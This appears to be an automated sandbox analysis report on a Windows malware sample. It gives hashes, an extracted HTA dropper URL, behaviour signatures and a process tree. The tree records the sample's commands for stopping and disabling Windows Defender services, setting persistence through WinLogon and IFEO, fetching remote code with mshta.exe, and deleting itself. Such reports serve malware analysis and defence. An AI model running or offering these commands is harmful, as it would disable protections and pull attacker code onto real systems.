Analysis

  • max time kernel
    150s
  • max time network
    126s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    09/09/2024, 03:12

General

  • Target

    d590b23a30568137857908b877f22f0a_JaffaCakes118.exe

  • Size

    1.7MB

  • MD5

    d590b23a30568137857908b877f22f0a

  • SHA1

    dc8be9d698f7ddcc85ed36ad3d18b7636a723e38

  • SHA256

    647549b542ee5654ac6af8b4ae444b6494eefca2a75a404e38c61e8bd39aa754

  • SHA512

    014ca243459a84436f975b136760fb7f65682b9b3c7dd4764cceec5d49a4a9a6d36a7f755b440653569ef72ebf71e08d32505c52af87c4fc3d22b4dbc096eebe

  • SSDEEP

    49152:477ecai0pFvzWdtskxbR7JHtjvIjEYszp+PG:47mi0nLAhxbJjvoRepp

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://pcguarrantor-utility.com/favicon.ico?0=95&1=0&2=2&3=63&4=i-s&5=7601&6=6&7=1&8=99600&9=1033&10=0&11=0000

Signatures

  • Disables service(s) 3 TTPs
  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 16 IoCs
  • Stops running service(s) 4 TTPs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Launches sc.exe 6 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of WriteProcessMemory 52 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d590b23a30568137857908b877f22f0a_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\d590b23a30568137857908b877f22f0a_JaffaCakes118.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2092
    • C:\Windows\SysWOW64\sc.exe
      sc stop WinDefend
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:1152
    • C:\Windows\SysWOW64\sc.exe
      sc config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2128
    • C:\Windows\SysWOW64\net.exe
      net stop msmpsvc
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2760
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop msmpsvc
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2800
    • C:\Windows\SysWOW64\sc.exe
      sc config msmpsvc start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:1936
    • C:\Users\Admin\AppData\Roaming\Microsoft\wrllqr.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\wrllqr.exe
      2⤵
      • Modifies WinLogon for persistence
      • Event Triggered Execution: Image File Execution Options Injection
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:3036
      • C:\Windows\SysWOW64\sc.exe
        sc stop WinDefend
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2964
      • C:\Windows\SysWOW64\sc.exe
        sc config WinDefend start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2660
      • C:\Windows\SysWOW64\net.exe
        net stop msmpsvc
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2788
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop msmpsvc
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1440
      • C:\Windows\SysWOW64\sc.exe
        sc config msmpsvc start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2676
      • C:\Windows\SysWOW64\mshta.exe
        mshta.exe "http://pcguarrantor-utility.com/favicon.ico?0=95&1=0&2=2&3=63&4=i-s&5=7601&6=6&7=1&8=99600&9=1033&10=0&11=0000"
        3⤵
        • System Location Discovery: System Language Discovery
        • Modifies Internet Explorer settings
        PID:2308
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\D590B2~1.EXE" >> NUL
      2⤵
      • Deletes itself
      • System Location Discovery: System Language Discovery
      PID:2628

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\wrllqr.exe

    Filesize

    1.7MB

    MD5

    d590b23a30568137857908b877f22f0a

    SHA1

    dc8be9d698f7ddcc85ed36ad3d18b7636a723e38

    SHA256

    647549b542ee5654ac6af8b4ae444b6494eefca2a75a404e38c61e8bd39aa754

    SHA512

    014ca243459a84436f975b136760fb7f65682b9b3c7dd4764cceec5d49a4a9a6d36a7f755b440653569ef72ebf71e08d32505c52af87c4fc3d22b4dbc096eebe

  • memory/2092-12-0x00000000032F0000-0x00000000032F1000-memory.dmp

    Filesize

    4KB

  • memory/2092-15-0x00000000032E0000-0x00000000032E1000-memory.dmp

    Filesize

    4KB

  • memory/2092-30-0x0000000000230000-0x0000000000231000-memory.dmp

    Filesize

    4KB

  • memory/2092-29-0x0000000000220000-0x0000000000221000-memory.dmp

    Filesize

    4KB

  • memory/2092-28-0x00000000032D0000-0x00000000032D2000-memory.dmp

    Filesize

    8KB

  • memory/2092-27-0x0000000003330000-0x0000000003331000-memory.dmp

    Filesize

    4KB

  • memory/2092-26-0x00000000032E0000-0x00000000032E2000-memory.dmp

    Filesize

    8KB

  • memory/2092-25-0x0000000003450000-0x0000000003451000-memory.dmp

    Filesize

    4KB

  • memory/2092-24-0x00000000032E0000-0x00000000033F0000-memory.dmp

    Filesize

    1.1MB

  • memory/2092-23-0x00000000032E0000-0x00000000033F0000-memory.dmp

    Filesize

    1.1MB

  • memory/2092-21-0x0000000003450000-0x0000000003451000-memory.dmp

    Filesize

    4KB

  • memory/2092-20-0x0000000003450000-0x0000000003451000-memory.dmp

    Filesize

    4KB

  • memory/2092-19-0x0000000003450000-0x0000000003451000-memory.dmp

    Filesize

    4KB

  • memory/2092-18-0x0000000003450000-0x0000000003451000-memory.dmp

    Filesize

    4KB

  • memory/2092-17-0x0000000003450000-0x0000000003451000-memory.dmp

    Filesize

    4KB

  • memory/2092-16-0x0000000003450000-0x0000000003451000-memory.dmp

    Filesize

    4KB

  • memory/2092-22-0x0000000003450000-0x0000000003451000-memory.dmp

    Filesize

    4KB

  • memory/2092-14-0x00000000032F0000-0x00000000032F1000-memory.dmp

    Filesize

    4KB

  • memory/2092-31-0x0000000003300000-0x0000000003301000-memory.dmp

    Filesize

    4KB

  • memory/2092-13-0x00000000032F0000-0x00000000032F1000-memory.dmp

    Filesize

    4KB

  • memory/2092-8-0x00000000032E0000-0x0000000003450000-memory.dmp

    Filesize

    1.4MB

  • memory/2092-10-0x00000000032F0000-0x00000000032F1000-memory.dmp

    Filesize

    4KB

  • memory/2092-9-0x00000000032F0000-0x00000000032F1000-memory.dmp

    Filesize

    4KB

  • memory/2092-11-0x00000000032F0000-0x00000000032F1000-memory.dmp

    Filesize

    4KB

  • memory/2092-7-0x00000000007C0000-0x00000000007C1000-memory.dmp

    Filesize

    4KB

  • memory/2092-6-0x0000000000770000-0x0000000000771000-memory.dmp

    Filesize

    4KB

  • memory/2092-5-0x00000000007A0000-0x00000000007A1000-memory.dmp

    Filesize

    4KB

  • memory/2092-4-0x00000000003C0000-0x00000000003C1000-memory.dmp

    Filesize

    4KB

  • memory/2092-3-0x00000000003D0000-0x00000000003D1000-memory.dmp

    Filesize

    4KB

  • memory/2092-2-0x00000000003E0000-0x00000000003E1000-memory.dmp

    Filesize

    4KB

  • memory/2092-1-0x0000000000710000-0x000000000076A000-memory.dmp

    Filesize

    360KB

  • memory/2092-0-0x0000000000400000-0x0000000000704000-memory.dmp

    Filesize

    3.0MB

  • memory/2092-41-0x00000000045A0000-0x00000000048A4000-memory.dmp

    Filesize

    3.0MB

  • memory/2092-32-0x00000000032F0000-0x00000000032F1000-memory.dmp

    Filesize

    4KB

  • memory/2092-42-0x00000000045A0000-0x00000000048A4000-memory.dmp

    Filesize

    3.0MB

  • memory/2092-45-0x0000000000400000-0x0000000000704000-memory.dmp

    Filesize

    3.0MB

  • memory/2092-44-0x0000000000710000-0x000000000076A000-memory.dmp

    Filesize

    360KB

  • memory/3036-46-0x0000000000400000-0x0000000000704000-memory.dmp

    Filesize

    3.0MB

  • memory/3036-48-0x0000000000400000-0x0000000000704000-memory.dmp

    Filesize

    3.0MB